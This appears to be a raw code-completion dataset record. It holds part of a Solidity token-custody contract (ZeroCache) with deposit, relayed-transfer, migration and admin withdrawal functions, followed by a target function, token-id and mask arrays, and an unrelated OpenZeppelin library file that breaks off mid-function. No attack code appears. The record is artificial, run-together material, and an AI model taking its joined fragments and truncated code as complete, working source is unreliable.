_owner.transfer(_tokens); /* Broadcast event. */ emit Withdraw( wethAddress, _owner, _tokens ); } else { /* Report error. */ revert('An error occurred while unwrapping your ETH.'); } } /** * Deposit * * Provides support for "pre-approved" token deposits. * * NOTE: Required pre-allowance/approval is required in order * to successfully complete the transfer. */ function deposit( address _token, address _from, uint _tokens, bytes _data ) external returns (bool success) { /* Make deposit. */ return _deposit(_token, _from, _tokens, _data); } /** * Receive Approval * * Will typically be called from `approveAndCall`. * * NOTE: Owner can assign ANY address to receive the deposit * (including their own). By default, owner will be used. */ function receiveApproval( address _from, uint _tokens, address _token, bytes _data ) public returns (bool success) { /* Make deposit. */ return _deposit(_token, _from, _tokens, _data); } /** * Deposit * * Deposits ANY ERC20-compatible token into this contract; * to be managed as ZeroCache. * * NOTE: Owners maintain 100% control* of their token(s) * at all times. * * * Administrators have the ability to return tokens * back to their ORIGINAL owners AT ANY TIME. * FOR COMPLIANCE PURPOSES ONLY */ function _deposit( address _token, address _from, uint _tokens, bytes _data ) private returns (bool success) { /* Transfer the ERC-20 tokens into Cache. */ // NOTE: Transfer tokens before credit to prevent re-entry attack. ERC20Interface(_token).transferFrom( _from, address(this), _tokens); /* Initialize receiver (address). */ address receiver = 0x0; /** * If `_data` is an `address`, then set the value to `receiver`. * e.g. when `approveAndCall` is made from a contract * (representing the owner). */ if (_data.length == 20) { /* Retrieve the receiver's address from `data` payload. */ receiver = _bytesToAddress(_data); } else { /* Set receiver to `from` (also the token owner). */ receiver = _from; } /* Increase receiver balance. */ _balances[_token][receiver] = _balances[_token][receiver].add(_tokens); /* Broadcast event. */ emit Deposit(_token, receiver, _tokens, _data); /* Return success. */ return true; } /** * Withdraw */ function withdraw( address _token, uint _tokens ) public returns (bool success) { return _withdraw(msg.sender, _token, _tokens); } /** * Withdraw * * We allow administrative withdrawls of tokens held * in the ZeroCache, FOR COMPLIANCE PURPOSES ONLY. * * NOTE: This function is reserved for exclusive use by * Zer0net Administration ONLY. * * Tokens withdrawn by an administrator can * ONLY be transferred to the ORIGINAL owner. */ function withdraw( address _owner, address _token, uint _tokens ) onlyAuthBy0Admin external returns (bool success) { return _withdraw(_owner, _token, _tokens); } /** * Withdraw * * Allows the withdrawl of tokens held in the ZeroCache * back to the ORIGINAL owner. */ function _withdraw( address _owner, address _token, uint _tokens ) private returns (bool success) { /* Validate balance. */ if (_balances[_token][_owner] < _tokens) { revert('Oops! You DO NOT have enough tokens.'); } /* Decrease owner balance by token amount. */ // NOTE: Decrease balance before transfer to prevent re-entry attack. _balances[_token][_owner] = _balances[_token][_owner].sub(_tokens); /* Transfer requested tokens to owner. */ ERC20Interface(_token).transfer(_owner, _tokens); /* Broadcast event. */ emit Withdraw(_token, _owner, _tokens); /* Return success. */ return true; } /** * Transfer * * Transfers the "specified" ERC-20 tokens held by the sender * to the receiver's account. */ function transfer( address _to, address _token, uint _tokens ) external returns (bool success) { return _transfer( msg.sender, _to, _token, _tokens); } /** * (Relayed) Transfer * * This transfer requires an off-chain (EC) signature, from the * account holder, detailing the transaction. * * Staekholder * ----------- * * Users may choose to boost the speed of execution for their * transfer request, decreasing the delivery time to near instant * (highest priority for miners to process) confirmation. * * A staek of ZeroGold is required to be added to the request, * in an amount specified by your preferred staekholder. * * This staek is 100% optional, as Standard Delivery will be * FREE FOREVER! * * TODO: Let's implement GasToken to provide staekholders an opportunity * to hedge against the volatility of future gas prices. * (source: https://gastoken.io/) */ function transfer( address _token, // contract address address _from, // sender's address address _to, // receiver's address uint _tokens, // quantity of tokens address _staekholder, // staekholder uint _staek, // staek amount uint _expires, // expiration time uint _nonce, // unique integer bytes _signature // signed message ) external returns (bool success) { /* Calculate transfer hash. */ bytes32 transferHash = keccak256(abi.encodePacked( address(this), _token, _from, _to, _tokens, _staekholder, _staek, _expires, _nonce )); /* Validate request has authorized signature. */ bool requestHasAuthSig = _requestHasAuthSig( _from, transferHash, _expires, _signature ); /* Validate authorization. */ if (!requestHasAuthSig) { revert('Oops! This relay request is NOT valid.'); } /* Validate boost fee and pay (if necessary). */ if (_staekholder != 0x0 && _staek > 0) { _addStaek(_from, _staekholder, _staek); } /* Request token transfer. */ return _transfer( _from, _to, _token, _tokens); } /** * Transfer * * Transfers the "specified" ERC-20 token(s) held by the sender * to the receiver's account. */ function _transfer( address _from, address _to, address _token, uint _tokens ) private returns (bool success) { /* Validate balance. */ if (_balances[_token][_from] < _tokens) { revert('Oops! You DO NOT have enough tokens.'); } /* Remove the transfer value from sender's balance. */ // NOTE: We decrease balance before adding to prevent re-entry attack. _balances[_token][_from] = _balances[_token][_from].sub(_tokens); /* Add the transfer value to the receiver's balance. */ _balances[_token][_to] = _balances[_token][_to].add(_tokens); /* Broadcast event. */ emit Transfer( _token, _from, _to, _tokens ); /* Return success. */ return true; } /** * Multi Transfer * * Transfers multiple ERC-20 tokens held by the sender * to multiple receiver accounts. */ function multiTransfer( address[] _to, address[] _token, uint[] _tokens ) external returns (bool success) { return _multiTransfer(msg.sender, _to, _token, _tokens); } //---------------------------------------------------------------- //---------------------------------------------------------------- // NOTE: We DO NOT yet offer support for RELAYED Multi Transfers. //---------------------------------------------------------------- //---------------------------------------------------------------- /** * Transfer Multiple Tokens (w/ Single Transaction) * * WARNING: Sending to multiple receipients is very risky, * as there is NO way to control the gas costs per * transaction (ie. contract addresses are limitless). * * For this reason, we SKIP ALL transfers to contract * addresses. You can monitor the `Skipped` event. */ function _multiTransfer( address _from, address[] _to, address[] _token, uint[] _tokens ) private returns (bool success) { /* Loop through all receivers. */ for (uint i = 0; i < _to.length; i++) { /* Set token. */ address token = _token[i]; /* Set token value. */ uint tokens = _tokens[i]; /* Set receiver. */ address to = _to[i]; /* Validate receiver address. */ if (_ownerIsContract(to)) { /* Broadcast event. */ emit Skipped(_from, to, token, tokens); } else { /* Transfer tokens. */ _transfer( _from, to, token, tokens); } } /* Return success. */ return true; } /** * Add Staek (to Relay Transfer) * * This is an (optional) staek provided by the sender, which * transfers ZeroGold from the sender's account to the specified * staekholder account. * * NOTE: Staek is only a temporary hold, until fees are collected * by the sender's preferred staekholder. */ function _addStaek( address _owner, address _staekholder, uint _tokens ) private returns (bool success) { /* Set ZeroGold address. */ address zgAddress = _zeroGold(); /* Validate available balance. */ if (_balances[zgAddress][_owner] < _tokens) { revert('Oops! You DO NOT have enough ZeroGold to staek.'); } /* Decrease owner balance by token amount. */ // NOTE: Decrease balance before transfer to prevent re-entry attack. _balances[zgAddress][_owner] = _balances[zgAddress][_owner].sub(_tokens); /* Transfer specified tokens to staekholder account. */ _zeroGold().transfer(_staekholder, _tokens); /* Broadcast event. */ emit Staek( _owner, _staekholder, _tokens ); /* Return success. */ return true; } /** * Cancel * * Cancels a previously authorized/signed transfer request, * by invalidating the signature on-chain. */ function cancel( address _token, // contract address address _from, // sender's address address _to, // receiver's address uint _tokens, // quantity of tokens address _staekholder, // staekholder uint _staek, // staek amount uint _expires, // expiration time uint _nonce, // unique integer bytes _signature // signed message ) external returns (bool success) { /* Calculate cancel hash. */ bytes32 cancelHash = keccak256(abi.encodePacked( address(this), _token, _from, _to, _tokens, _staekholder, _staek, _expires, _nonce )); /* Validate request has authorized signature. */ bool requestHasAuthSig = _requestHasAuthSig( _from, cancelHash, _expires, _signature ); /* Validate authorization. */ if (!requestHasAuthSig) { revert('Oops! This cancel request is NOT valid.'); } /* Return success. */ return true; } /** * Migrate */ function migrate( address[] _tokens ) external returns (bool success) { return _migrate(msg.sender, _tokens); } /** * Migrate * * THIS FUNCTION IS UN-IMPLMENTED * * NOTE: There is no ADMIN migration function available * as a protection against UNAUTHORIZED transfer(s) to * possible rogue instance(s) of ZeroCache. */ /** * Migrate * * Allows for the full balance transfer of a multiple token(s) * from legacy instance(s) to the LATEST instance of ZeroCache. */ function _migrate( address _owner, address[] _tokens ) private returns (bool success) { /* Set hash. */ bytes32 hash = keccak256('aname.zerocache'); /* Retrieve value from Zer0net Db. */ address latestCache = _zer0netDb.getAddress(hash); /* Loop through all tokens. */ for (uint i = 0; i < _tokens.length; i++) { /* Set token. */ address token = _tokens[i]; /* Retrieve balance. */ // NOTE: Explicitly set depth to `0`, to retrieve the // balance for ONLY this instance. uint balance = balanceOf(token, _owner, 0); /* Decrease owner balance to ZERO. */ // NOTE: Balance is ZEROED here to prevent re-entry attack. _balances[token][_owner] = 0; /* Validate WETH contract (requires `unwrap`). */ if (token == address(_weth())) { /* Set WETH address. */ address wethAddress = _weth(); /* Withdraw ETH from Wrapper contract. */ success = wethAddress.call .gas(100000) (abi.encodeWithSignature("withdraw(uint256)", balance)); /* (Re-)Wrap ETH into LATEST instance. */ // NOTE: ETH will be wrapped on `_owner` behalf. success = latestCache.call .gas(100000) .value(balance) (abi.encodeWithSignature("wrap(address)", _owner)); } else { /* Set data to owner (address). */ // NOTE: Required to assign tokens after being received // by the new contract instance. bytes memory data = abi.encodePacked(_owner); /* (Re-)Deposit tokens into LATEST instance. */ // NOTE: Tokens will be credited to `_owner` (aka `data`). ApproveAndCallFallBack(token) .approveAndCall(latestCache, balance, data); /* Set success. */ success = true; } /* Broadcast event. */ emit Migrate(token, _owner, balance); } } /*************************************************************************** * * GETTERS * */ /** * Get Revision (Number) */ function getRevision() public view returns (uint) { return _revision; } /** * Get Predecessor (Address) */ function getPredecessor() public view returns (address) { return _predecessor; } /** * Get Successor (Address) */ function getSuccessor() public view returns (address) { return _successor; } /** * Get the token balance for account `tokenOwner` */ function balanceOf( address _token, address _owner ) external constant returns (uint balance) { /* Return balance. */ return balanceOf( _token, _owner, _MAX_REVISION_DEPTH); } /** * Get the token balance for account `tokenOwner` * * NOTE: Supports a virtually unlimited depth, * limited ONLY by the supplied gas amount. */ function balanceOf( address _token, address _owner, uint _depth ) public constant returns (uint balance) { /* Retrieve (current) balance. */ balance = _balances[_token][_owner]; /* Initialize legacy instance (to current predecessor). */ address legacyInstance = getPredecessor(); /* Validate legacy instance. */ if (legacyInstance != 0x0) { /* Initialize total legacy balance. */ uint totalLegacyBalance = 0; /* Loop through legacy instances for balance. */ for (uint i = 0; i < _depth; i++) { /* Retrieve balance. */ uint legacyBalance = ZeroCache(legacyInstance) .balanceOf(_token, _owner); /* Add to legacy balance total. */ totalLegacyBalance = totalLegacyBalance.add(legacyBalance); /* Set the next legacy instance / predecessor (if available). */ legacyInstance = ZeroCache(legacyInstance).getPredecessor(); /* Validate legacy instance. */ if (legacyInstance == 0x0) { /* Break the loop. */ break; } } /* Add total legacy balance. */ balance = balance.add(totalLegacyBalance); } } /*************************************************************************** * * SETTERS * */ /** * Set Successor * * This is the contract address that replaced this current instnace. */ function setSuccessor( address _newSuccessor ) onlyAuthBy0Admin external returns (bool success) { /* Set successor contract. */ _successor = _newSuccessor; /* Return success. */ return true; } /*************************************************************************** * * INTERFACES * */ /** * Supports Interface (EIP-165) * * (see: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md) * * NOTE: Must support the following conditions: * 1. (true) when interfaceID is 0x01ffc9a7 (EIP165 interface) * 2. (false) when interfaceID is 0xffffffff * 3. (true) for any other interfaceID this contract implements * 4. (false) for any other interfaceID */ function supportsInterface( bytes4 _interfaceID ) external pure returns (bool) { /* Initialize constants. */ bytes4 InvalidId = 0xffffffff; bytes4 ERC165Id = 0x01ffc9a7; /* Validate condition #2. */ if (_interfaceID == InvalidId) { return false; } /* Validate condition #1. */ if (_interfaceID == ERC165Id) { return true; } // TODO Add additional interfaces here. /* Return false (for condition #4). */ return false; } /** * ECRecovery Interface */ function _ecRecovery() private view returns ( ECRecovery ecrecovery ) { /* Initailze hash. */ bytes32 hash = keccak256('aname.ecrecovery'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ ecrecovery = ECRecovery(aname); } /** * Wrapped Ether (WETH) Interface * * Retrieves the current WETH interface, * using the aname record from Zer0netDb. */ function _weth() private view returns ( WETHInterface weth ) { /* Initailze hash. */ // NOTE: ERC tokens are case-sensitive. bytes32 hash = keccak256('aname.WETH'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ weth = WETHInterface(aname); } /** * MakerDAO DAI Interface * * Retrieves the current DAI interface, * using the aname record from Zer0netDb. */ function _dai() private view returns ( ERC20Interface dai ) { /* Initailze hash. */ // NOTE: ERC tokens are case-sensitive. bytes32 hash = keccak256('aname.DAI'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ dai = ERC20Interface(aname); } /** * ZeroGold Interface * * Retrieves the current ZeroGold interface, * using the aname record from Zer0netDb. */ function _zeroGold() private view returns ( ERC20Interface zeroGold ) { /* Initailze hash. */ // NOTE: ERC tokens are case-sensitive. bytes32 hash = keccak256('aname.0GOLD'); /* Retrieve value from Zer0net Db. */ address aname = _zer0netDb.getAddress(hash); /* Initialize interface. */ zeroGold = ERC20Interface(aname); } /*************************************************************************** * * UTILITIES * */ /** * Request Hash Authorized Signature * * Validates ALL signature requests by: * 1. Uses ECRecovery to validate the signature. * 2. Verify expiration against the current block number. * 3. Sets a flag to block re-use of signature. */ function _requestHasAuthSig( address _from, bytes32 _authHash, uint _expires, bytes _signature ) private returns (bool success) { /* Calculate signature hash. */ bytes32 sigHash = keccak256(abi.encodePacked( '\x19Ethereum Signed Message:\n32', _authHash)); /* Validate signature expiration. */ if (_expiredSignatures[sigHash]) { return false; } /* Set expiration flag. */ // NOTE: Set a flag here to prevent double-spending. _expiredSignatures[sigHash] = true; /* Validate the expiration time. */ if (block.number > _expires) { return false; } /* Retrieve the authorized account (address). */ address authorizedAccount = _ecRecovery().recover(sigHash, _signature); /* Validate the signer matches owner of the tokens. */ if (_from != authorizedAccount) { return false; } /* Return success. */ return true; } /** * Is (Owner) Contract * * Tests if a specified account / address is a contract. */ function _ownerIsContract( address _owner ) private view returns (bool isContract) { /* Initialize code length. */ uint codeLength; /* Run assembly. */ assembly { /* Retrieve the size of the code on target address. */ codeLength := extcodesize(_owner) } /* Set test result. */ isContract = (codeLength > 0); } /** * Bytes-to-Address * * Converts bytes into type address. */ function _bytesToAddress(bytes _address) private pure returns (address) { uint160 m = 0; uint160 b = 0; for (uint8 i = 0; i < 20; i++) { m *= 256; b = uint160(_address[i]); m += (b); } return address(m); } /** * Transfer Any ERC20 Token * * @notice Owner can transfer out any accidentally sent ERC20 tokens. * * @dev Provides an ERC20 interface, which allows for the recover * of any accidentally sent ERC20 tokens. */ function transferAnyERC20Token( address _tokenAddress, uint _tokens ) public onlyOwner returns (bool success) { return ERC20Interface(_tokenAddress).transfer(owner, _tokens); } }
* Unwrap We allow administrative unwrapping of WETH held in the ZeroCache, FOR COMPLIANCE PURPOSES ONLY. NOTE: This function is reserved for exclusive use by Zer0net Administration ONLY. Tokens unwrapped by an administrator can ONLY be transferred to the ORIGINAL owner./
function unwrap( address _owner, uint _tokens ) onlyAuthBy0Admin external returns (bool success) { return _unwrap(_owner, _tokens); }
5,395,003
[ 1, 984, 4113, 1660, 1699, 30162, 1535, 11014, 1382, 434, 678, 1584, 44, 15770, 316, 326, 12744, 1649, 16, 12108, 13846, 2053, 4722, 30817, 55, 20747, 18, 5219, 30, 1220, 445, 353, 8735, 364, 12060, 999, 635, 4202, 2285, 264, 20, 2758, 7807, 4218, 20747, 18, 4202, 13899, 26917, 635, 392, 22330, 848, 4202, 20747, 506, 906, 4193, 358, 326, 24069, 7702, 1013, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11014, 12, 203, 3639, 1758, 389, 8443, 16, 7010, 3639, 2254, 389, 7860, 203, 565, 262, 1338, 1730, 858, 20, 4446, 3903, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 327, 389, 318, 4113, 24899, 8443, 16, 389, 7860, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if 